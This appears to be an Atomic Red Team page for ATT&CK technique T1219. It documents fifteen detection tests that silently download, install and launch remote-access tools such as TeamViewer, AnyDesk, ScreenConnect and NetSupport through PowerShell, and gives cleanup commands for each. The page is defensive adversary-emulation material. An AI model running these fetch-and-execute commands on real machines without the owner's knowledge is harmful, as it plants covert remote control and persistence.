T1219 - Remote Access Software
Description from ATT&CK (opens in a new tab)
An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as
VNC,Team Viewer,AnyDesk,ScreenConnect,LogMein,AmmyyAdmin, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.
Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.
Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a Windows Service (opens in a new tab)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)
Atomic Tests
Atomic Test #1 - TeamViewer Files Detected Test on Windows
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'Cleanup Commands:
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-NullAtomic Test #2 - AnyDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;Cleanup Commands:
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction IgnoreAtomic Test #3 - LogMeIn Files Detected Test on Windows
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"Cleanup Commands:
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction IgnoreAtomic Test #4 - GoToAssist Files Detected Test on Windows
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;Cleanup Commands:
try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}Atomic Test #5 - ScreenConnect Application Download and Install on Windows
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.
Supported Platforms: Windows
auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qnCleanup Commands:
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qnAtomic Test #6 - Ammyy Admin Software Execution
An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.
Supported Platforms: Windows
auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| Ammyy_Admin_Path | Path of Ammyy Admin executable | path | PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process "#{Ammyy_Admin_Path}"Cleanup Commands:
Stop-Process -Name "Ammyy" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})
Check Prereq Commands:
if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsingAtomic Test #7 - RemotePC Software Execution
An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.
Supported Platforms: Windows
auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| RemotePC_Path | Path of RemotePC executable | path | PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process "#{RemotePC_Path}"Cleanup Commands:
Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})
Check Prereq Commands:
if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsingAtomic Test #8 - NetSupport - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Supported Platforms: Windows
auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| NetSupport_Path | Path to the NetSupport executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"Cleanup Commands:
Stop-Process -Name "client32" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})
Check Prereq Commands:
if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")Atomic Test #9 - UltraViewer - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Supported Platforms: Windows
auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| UltraViewer_Path | Path to the UltraViewer executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'Cleanup Commands:
Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinueDependencies: Run with powershell!
Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})
Check Prereq Commands:
if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")Atomic Test #10 - UltraVNC Execution
An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.
Supported Platforms: Windows
auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| UltraVNC_Viewer_Path | Path of UltraVNC Viewer executable | path | $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe' |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process #{UltraVNC_Viewer_Path}Cleanup Commands:
Stop-Process -Name "vncviewer" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})
Check Prereq Commands:
if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silentAtomic Test #11 - MSP360 Connect Execution
An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed.
Supported Platforms: Windows
auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| MSP360_Connect_Path | Path of MSP360 executable | path | $env:ProgramFiles\Connect\Connect.exe |
| MSP360_Download_Url | URL to download MSP360 Connect from | url |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process #{MSP360_Connect_Path}Cleanup Commands:
Stop-Process -Name "Connect" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: MSP360 must exist at (#{MSP360_Connect_Path})
Check Prereq Commands:
if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "#{MSP360_Download_Url}"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /SAtomic Test #12 - RustDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. Download of RustDesk installer will be at the destination location when successfully executed.
Supported Platforms: Windows
auto_generated_guid: f1641ba9-919a-4323-b74f-33372333bf0e
Attack Commands: Run with powershell!
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"Cleanup Commands:
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Remove-Item $file1 -ErrorAction IgnoreAtomic Test #13 - Splashtop Execution
An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel. Upon successful execution, Splashtop will be executed.
Supported Platforms: Windows
auto_generated_guid: b025c580-029e-4023-888d-a42710d76934
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| Splashtop_Path | Path of Splashtop executable | path | ${env:programfiles(x86)}\Splashtop\Splashtop Remote\Client for STP\strwinclt.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process "#{Splashtop_Path}"Cleanup Commands:
Stop-Process -Name "strwinclt" -force -erroraction silentlycontinueDependencies: Run with powershell!
Description: Splashtop must exist at "#{Splashtop_Path}"
Check Prereq Commands:
if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1}Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" "https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe"
start-sleep 30
start-process "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" /S
start-sleep 30Atomic Test #14 - Splashtop Streamer Execution
An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.
Supported Platforms: Windows
auto_generated_guid: 3e1858ee-3550-401c-86ec-5e70ed79295b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| srserver_exe | Splashtop streamer installation executables | string | SRServer.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"Dependencies: Run with powershell!
Description: Splashtop Streamer must be installed in the location
Check Prereq Commands:
if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}Get Prereq Commands:
Write-Host Downloading Splashtop Streamer
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile "C:\Temp\ExternalPayloads\Splashtop.exe"
Write-Host Installing Splashtop Streamer
Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"Atomic Test #15 - Microsoft App Quick Assist Execution
An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine.
Supported Platforms: Windows
auto_generated_guid: 1aea6d15-70f1-4b4e-8b02-397b5d5ffe75
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"Cleanup Commands:
Stop-Process -Name quickassist